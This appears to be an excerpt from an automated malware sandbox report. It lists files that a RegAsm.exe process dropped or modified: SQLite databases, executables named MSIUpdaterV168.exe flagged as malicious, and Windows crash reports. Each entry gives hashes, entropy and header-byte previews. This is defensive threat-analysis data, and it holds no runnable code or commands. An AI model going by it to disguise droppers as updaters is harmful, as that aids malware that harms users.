SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\CBGCBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\CGIDAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\GCBFBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\GIJKKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHD\JKFIDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	7.632838318543174
Encrypted:	false
SSDEEP:	12288:PpZdsQvofcmfO1VdiBcrKSzrQbHyYx3Ro8:Pb/vPdvKkiSYx3+
MD5:	93299CD3BCB2A0A2B38EECA1CDB8AE23
SHA1:	473D70D598475F0D2784389FF543470638597CB2
SHA-256:	16A7754DE464E184DE4DE3A7EC93C93D80D340B41B6579744F876C839085E3CA
SHA-512:	47486788B9F89736C1F9E306A39BCA20F606924BEED568694B5EB093C8B5042B1486C72E59F0D3350CB35103648BABFBF653C75DA6EE9293EC78F69BBC9EE3A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'....................0....@.......................................@.....................................P................................!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc...!......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	703488
Entropy (8bit):	7.782933844537582
Encrypted:	false
SSDEEP:	12288:1VzhH99+QaIqONhS7pZGnlO3ZqCWHFtcusqoYEuP0mSJKgYXo8:1Rv9CLUCaHsqiZ1Kc
MD5:	F3D3B5411E090124197B7B6297B1D8DB
SHA1:	90522C25164CB4B22242D95678547D86A68E52B7
SHA-256:	1D519AF0B0B48FAF1886065D31E5F27000228DAD742E2F8F06504838D4BC02D5
SHA-512:	CEE5F1C20CBE4067BAFE1DEDEE8C4DB870430B6E6F792ACCAC95D3E05C20A64893AD3DD971182C8E7D001243E5BC933AA2532C93359B4AF72CA691FD8FFF8736
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L... .{f...............'....................0....@.......................................@.....................................P............................... !.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc.. !......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411136
Entropy (8bit):	7.500553295768982
Encrypted:	false
SSDEEP:	12288:jdI4y5LNCOuGcOq1H6Bvbw1tiNPUtIbsKRHo8:jq40NKaDiyPDI
MD5:	CB907B20EE4FB4389D25989D7DE466E8
SHA1:	4D63141C71E834E81C5F57F90F663C409EDF3A41
SHA-256:	7A95AE3B370D318BFF008A07FDDF1B6DEB1BEB78FA9E021C5C9F106D1149B553
SHA-512:	81C3F8E3362A565A426710B54E4F2B64165B764635818B788F43824B3F0CDD2DC354CBDB6FF945BDFE42BD4ADE7ED05B721F978FAA5AF3D6DF71CF6B81F13FE2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L...c.{f...............'.....@..............0....@.......................................@.....................................P............................`..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....i.......Z..................@....reloc..(!...`..."...$..............@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1847296
Entropy (8bit):	7.952361851623971
Encrypted:	false
SSDEEP:	49152:XZKDuL48I2oJDxrV/4ePVhfBHcXuCEe/vPOM6yWKp3+EmfOS:XZ2uL439144fCXubCv2M6yWy3+i
MD5:	C72E70F29D3DD8FA148DF55E8E6DEC43
SHA1:	2F182D43528F78D6D847B37B77DA9A09A2ED1F0A
SHA-256:	BAFF3039B9ACF97084D1B853F495026C52A4C483D010901E226BEB599D23DF5B
SHA-512:	D1923E33057413D478DAAAAA54BB157762172A58AE03FC36E0C1C6E4D64C0C33D08BFF7AEC8759F533331215960D739FEC2FFEA86D18D1D8A70105927A6A5F12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'.....*..............0....@.......................................@.....................................P............................P..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....S.......D..................@....reloc..(!...P..."..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BRWgvKaqbg.exe_b6c6e8b22b35c86acca60f780f38ec328115af3_0005ee48_b107b2da-c7d6-4430-a6d2-0f523ea64a9c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7032296439379918
Encrypted:	false
SSDEEP:	96:TjFrcHQps6Ohqzo1yDqdQXIDcQCc6A4hcEFcw3S5D+HbHg/PB6HeaOy1FhZAX/dG:fmwpvrl0c9/G5gjG1zuiFfZ24IO8zH
MD5:	5A0FA6605C5A2922B25093D4884C851F
SHA1:	B660662741675DE036960E3EB4583096C39D2277
SHA-256:	54918939E3CD5E1A29F2FF039EC27A7320BB47E7FEC55AF0CEA1109EBA2D4A17
SHA-512:	A155B7DE365BEDFF74F00D67ED5B14E06A5E58F740669835FF7AE747A3CB6D5B6FD6FC782196BA9FD6437F6D6E0D36A4C3D4ED360E9EA49351A918ED363C8B3A
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.9.3.7.0.4.5.7.8.5.9.9.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.9.3.7.0.4.6.1.4.5.3.8.0.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.0.7.b.2.d.a.-.c.7.d.6.-.4.4.3.0.-.a.6.d.2.-.0.f.5.2.3.e.a.6.4.a.9.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.0.1.f.5.3.3.5.-.2.f.6.4.-.4.b.a.d.-.8.7.6.c.-.2.6.0.e.3.b.e.e.c.b.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.B.R.W.g.v.K.a.q.b.g...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.0.8.-.0.0.0.1.-.0.0.1.4.-.b.d.4.b.-.b.7.a.3.4.c.c.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.1.f.2.7.1.9.7.7.d.0.5.6.e.9.a.e.e.0.f.b.5.e.2.b.e.5.e.c.9.d.a.0.0.0.0.f.f.f.f.!.0.0.0.0.2.f.1.8.2.d.4.3.5.2.8.f.7.8.d.6.d.8.4.7.b.3.7.b.7.7.d.a.9.a.0.9.a.2.e.d.1.f.0.a.!.B.R.W.g.v.K.a.q.b.g...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hhUml7ndoUuFxb5W_7c8bb9e7d4154313993856830b87ad59d2f2a36_af79d7e5_93a07a46-5643-4aea-9796-cacce3f40be0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7290128256217842
Encrypted:	false
SSDEEP:	96:o4GFyv/MosHhqco3yDqdQXIDcQwc60cEBFcw3BSE+HbHg/PB6HeaOy1FhZAX/d5U:O0XMoRg0+wTF92jG1zuiFfZ24IO8n
MD5:	2D946964643740EDEDC4D4F7E1FC2CB9
SHA1:	D9FAF9A7BC332AB6A1CA042310A167D8A3BEB1F1
SHA-256:	358E23701A310ABE4B34078D2CD113E913055DEF9D884D90F11070410A6822E4
SHA-512:	80A3B416D9A05CB9C3D2702445CCABA27F897F1935F80737D271145F5E9782C80E62FE954E2D7760C4F62946E7671E0BCA590AF7627EDCA4153FE68AB919E22D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.2.8.5.8.3.3.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.3.8.2.7.0.8.6.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.3.a.0.7.a.4.6.-.5.6.4.3.-.4.a.e.a.-.9.7.9.6.-.c.a.c.c.e.3.f.4.0.b.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.1.9.3.e.6.9.-.3.5.b.1.-.4.f.0.6.-.b.9.d.8.-.f.1.f.2.4.c.6.0.7.b.1.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.h.h.U.m.l.7.n.d.o.U.u.F.x.b.5.W.y.D.j.E...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.c.-.0.0.0.1.-.0.0.1.4.-.f.1.3.8.-.f.5.a.d.4.c.c.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.3.8.8.5.f.a.8.2.7.6.8.5.f.0.8.f.1.8.7.0.3.7.a.c.e.6.9.6.c.9.4.0.0.0.0.f.f.f.f.!.0.0.0.0.9.0.5.2.2.c.2.5.1.6.4.c.b.4.b.2.2.2.4.2.d.9.5.6.7.8.5.4.7.d.8.6.a.6.8.e.5.2.b.7.!.h.h.U.m.l.7.n.d.o.U.u.F.x.b.5.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_pQuKvF5V8lUXfe4t_8f8a31e2ed27b79cf4645132220486dc9919971_5bc60ba8_15382b18-ce8d-4169-a942-c61da0a41211\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7288486725932896
Encrypted:	false
SSDEEP:	96:FhFKK9Jr4HnsA4hq7omyDqdQXIDcQhc69cEI6cw32KO+HbHg/PB6HeaOy1FhZAXY:rAUgnru0/5vXjG1zuiFfZ24IO8n
MD5:	5F6A7B159920E6D2200C93B3C1631441
SHA1:	A93E5CD6C7FB8841EA9E30B0BD7B6F451D0E4B3F
SHA-256:	8F3B95438F401429ABE8AD7CD9CEC35F0A8A088AC62A1CFAA08F9202BCF37CA3
SHA-512:	3AF6B64A2228E334262928713CC6700B747BA9487370E507A8D0CFF77BC6216D4AC1ABF48227653669F3352BBF01A5676F5CC12748F3EF00AC92A8EF2F09FFF4
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.4.9.1.9.0.2.9.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.5.4.3.4.6.6.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.5.3.8.2.b.1.8.-.c.e.8.d.-.4.1.6.9.-.a.9.4.2.-.c.6.1.d.a.0.a.4.1.2.1.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.8.a.7.0.5.f.-.7.2.f.f.-.4.1.9.0.-.a.b.0.2.-.c.5.3.e.8.1.2.3.8.0.4.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.p.Q.u.K.v.F.5.V.8.l.U.X.f.e.4.t.h.f.R.R...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.7.8.-.0.0.0.1.-.0.0.1.4.-.1.d.1.4.-.3.5.a.f.4.c.c.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.0.7.1.c.0.a.f.0.c.2.0.3.3.3.3.d.4.a.6.a.6.7.b.c.6.b.d.5.5.9.f.0.0.0.0.f.f.f.f.!.0.0.0.0.4.d.6.3.1.4.1.c.7.1.e.8.3.4.e.8.1.c.5.f.5.7.f.9.0.f.6.6.3.c.4.0.9.e.d.f.3.a.4.1.!.p.Q.u.K.v.F.5.V.8.l.U.X.f.e.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_s7jOcwxjI7k0XEca_b8c743ab1b26314ff4eb66311a29ecf38ef3b8d_a87f9504_c293dfb7-dcd6-476b-a2f9-a26394e0cfea\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7292085382008561
Encrypted:	false
SSDEEP:	192:D+NlNTNICANYW0vWxcN6N+jG1zuiFfZ24IO80NlNW:iXBKCAu9vWxcY4jkzuiFfY4IO80HU
MD5:	C740467A8A0EF42DC8E39DC7DEFD79E3
SHA1:	AD47DCC55368F747520A4EB117D09A21040EECE2
SHA-256:	98161AD40A63934772346030C6BB6C5030B4A682C12FCA9C77BA2273A2809BA3
SHA-512:	BBA558EBD17FB562D2533D52DB287BE5D21304298F01DD883FC816BC8E4175D5EF25A6D9F3823323689186AC3418EA99E3461A0D877355C4A2603E2B44E721DC
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.1.2.1.3.8.4.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.9.3.7.0.6.1.9.1.6.9.6.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.2.9.3.d.f.b.7.-.d.c.d.6.-.4.7.6.b.-.a.2.f.9.-.a.2.6.3.9.4.e.0.c.f.e.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.f.6.b.c.0.7.a.-.c.1.6.a.-.4.b.9.d.-.b.f.6.0.-.7.d.d.3.5.3.e.e.2.7.9.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.7.j.O.c.w.x.j.I.7.k.0.X.E.c.a.i.Y.N._...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.5.0.-.0.0.0.1.-.0.0.1.4.-.3.4.f.c.-.e.0.a.c.4.c.c.8.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.7.b.9.a.9.1.2.9.7.9.0.c.c.c.e.f.3.c.4.3.4.d.e.d.8.f.a.8.b.d.9.0.0.0.0.f.f.f.f.!.0.0.0.0.2.f.1.8.2.d.4.3.5.2.8.f.7.8.d.6.d.8.4.7.b.3.7.b.7.7.d.a.9.a.0.9.a.2.e.d.1.f.0.a.!.s.7.j.O.c.w.x.j.I.7.k.0.X.E.c.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D86.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 27 04:44:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47052
Entropy (8bit):	1.8365085396343273
Encrypted:	false
SSDEEP:	192:rdnKOE+r7ow8Dt8HXtTIknp9rl2wxUvjfr+dOHrpCi:NVHr7jJdPp2w2vjfraOH9
MD5:	C33D71421CA0C55643704F46BC49DCAB
SHA1:	EAE9B80A7894134FC13ECDFF12AFC091C7718E99
SHA-256:	6511CECCEB14F2A2215FBEB7031B0F9C29202667E60DE3B3265E6D039DC85CB2
SHA-512:	9879212461F5EF50EA0F7DFF2DE364F2D439B615A708AF704CB9FEF029D292850E8B0306A71269A79E8C07BB38B9A0C5658FF71EBB767D5F3997A082160DB138
Malicious:	false
Preview:	MDMP..a..... .........\|f........................X...............R#..........T.......8...........T...........@...............T...........@...............................................................................eJ..............GenuineIntel............T.............\|f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E04.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.7020071382397512
Encrypted:	false
SSDEEP:	192:R6l7wVeJDM6B6YEI6SU9xwqgmfG2Jj/650prM89b8UsfB0m:R6lXJI6B6YEVSU9xtgmfxJjqI8HfH
MD5:	43A0D6FBBAEF558E6361DB6BABBDBD25
SHA1:	FD37312776F0728E925852A00A0D8F05709DD5AB
SHA-256:	9E110B4F4E8A4328F8DA9B3C4115340C2BF67779A9CB30D761B76D317D8C18F7
SHA-512:	75AE19A365CA07DBF0D74649A74BD3A171FC48EB958D5FD9EDFACA9715AE77707FF35E1803751B076C40D436D62E737FE9784EE88F7739C2187D66F6331FA3AD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E72.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4635
Entropy (8bit):	4.506003711450675
Encrypted:	false
SSDEEP:	48:cvIwWl8zsKJg77aI99qWpW8VYTYm8M4JhxFr/+q8N9aiR/ydd:uIjfYI7HL7VTJNEZBydd
MD5:	54278DC41C3CBC61C9EFAECC4A955147
SHA1:	48CA231D7F9BFA0C1E5873446302A16FDF14D297
SHA-256:	360368EB41A37B4A3574A630CA74A0DDE635A89EE3F4E9CD17433B14C52A376C
SHA-512:	437E1038636FB90FF70DBAF6F239CDA4D9837F39C6378303F000765CDA7B9C375DC81F5750C7CA2D258C938E0D69398478D3CBCA5CF4A62BCAD734E0BD660FDC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="385666" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

